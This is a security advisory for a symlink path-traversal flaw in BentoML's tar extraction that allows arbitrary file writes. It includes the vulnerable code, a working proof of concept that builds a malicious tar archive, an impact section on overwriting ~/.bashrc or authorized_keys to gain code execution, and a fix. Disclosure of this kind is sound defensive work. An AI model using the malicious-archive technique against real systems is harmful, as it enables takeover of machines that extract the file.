GHSA-m6w7-qv66-g3mf BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction

• PyPI bentoml: < 1.4.36 → fixed in 1.4.36

Arbitrary File Write via Symlink Path Traversal in Tar Extraction Summary The `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. Affected Component • File: `src/bentoml/_internal/utils/filesystem.py:58-96` • Callers: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504` • Affected versions: All versions with `safe_extract_tarfile()` Severity CVSS 3.1: 8.1 (High) `AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H` Vulnerability Details Vulnerable Code (filesystem.py:58-96) ```python def safe_extract_tarfile(tar, destination): os.makedirs(destination, exist_ok=True) for member in tar.getmembers(): fn = member.name path = os.path.abspath(os.path.join(destination, fn)) if not Path(path).is_relative_to(destination): # Line 64: INCOMPLETE continue # Only checks member path, NOT symlink target if member.issym(): tar._extract_member(member, path) # Line 75: Creates symlink with UNVALIDATED target else: fp = tar.extractfile(member) with open(path, "wb") as destfp: # Line 92: open() FOLLOWS symlinks shutil.copyfileobj(fp, destfp) ``` The Bug 1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target 2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`) 3. Line 92: `open(path, "wb")` follows the symlink, writing OUTSIDE the destination `os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target. Proof of Concept ```python import io, os, shutil, tarfile, tempfile from pathlib import Path def create_malicious_tar(target_dir, target_file, payload): buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w:gz') as tar: sym = tarfile.TarInfo(name='escape') sym.type = tarfile.SYMTYPE sym.linkname = target_dir tar.addfile(sym) info = tarfile.TarInfo(name=f'escape/{target_file}') info.size = len(payload) tar.addfile(info, io.BytesIO(payload)) buf.seek(0) return buf with tempfile.TemporaryDirectory() as tmpdir: extract_dir = os.path.join(tmpdir, 'extract') target_dir = os.path.join(tmpdir, 'outside') os.makedirs(target_dir) mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED') tar = tarfile.open(fileobj=mal_tar, mode='r:gz') # Reproduce filesystem.py:58-96 os.makedirs(extract_dir, exist_ok=True) for member in tar.getmembers(): path = os.path.abspath(os.path.join(extract_dir, member.name)) if not Path(path).is_relative_to(extract_dir): continue if member.issym(): tar._extract_member(member, path) # Symlink target NOT checked else: fp = tar.extractfile(member) os.makedirs(os.path.dirname(path), exist_ok=True) if fp: with open(path, 'wb') as destfp: # Follows symlink! shutil.copyfileobj(fp, destfp) assert os.path.exists(os.path.join(target_dir, 'pwned.txt')) print(open(os.path.join(target_dir, 'pwned.txt')).read()) # PWNED ``` Impact 1. Arbitrary file overwrite via shared bentos BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages. 2. Remote code execution via file overwrite Overwriting `~/.bashrc` or Python packages achieves RCE. 3. BentoCloud deployments `safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento. Remediation Validate symlink targets: ```python if member.issym(): target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname)) if not Path(target).is_relative_to(dest): logger.warning('Symlink %s points outside: %s', member.name, member.linkname) continue ``` Or use Python 3.12+ `tar.extractall(filter='data')`. References • CWE-59: Improper Link Resolution Before File Access ('Link Following') • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')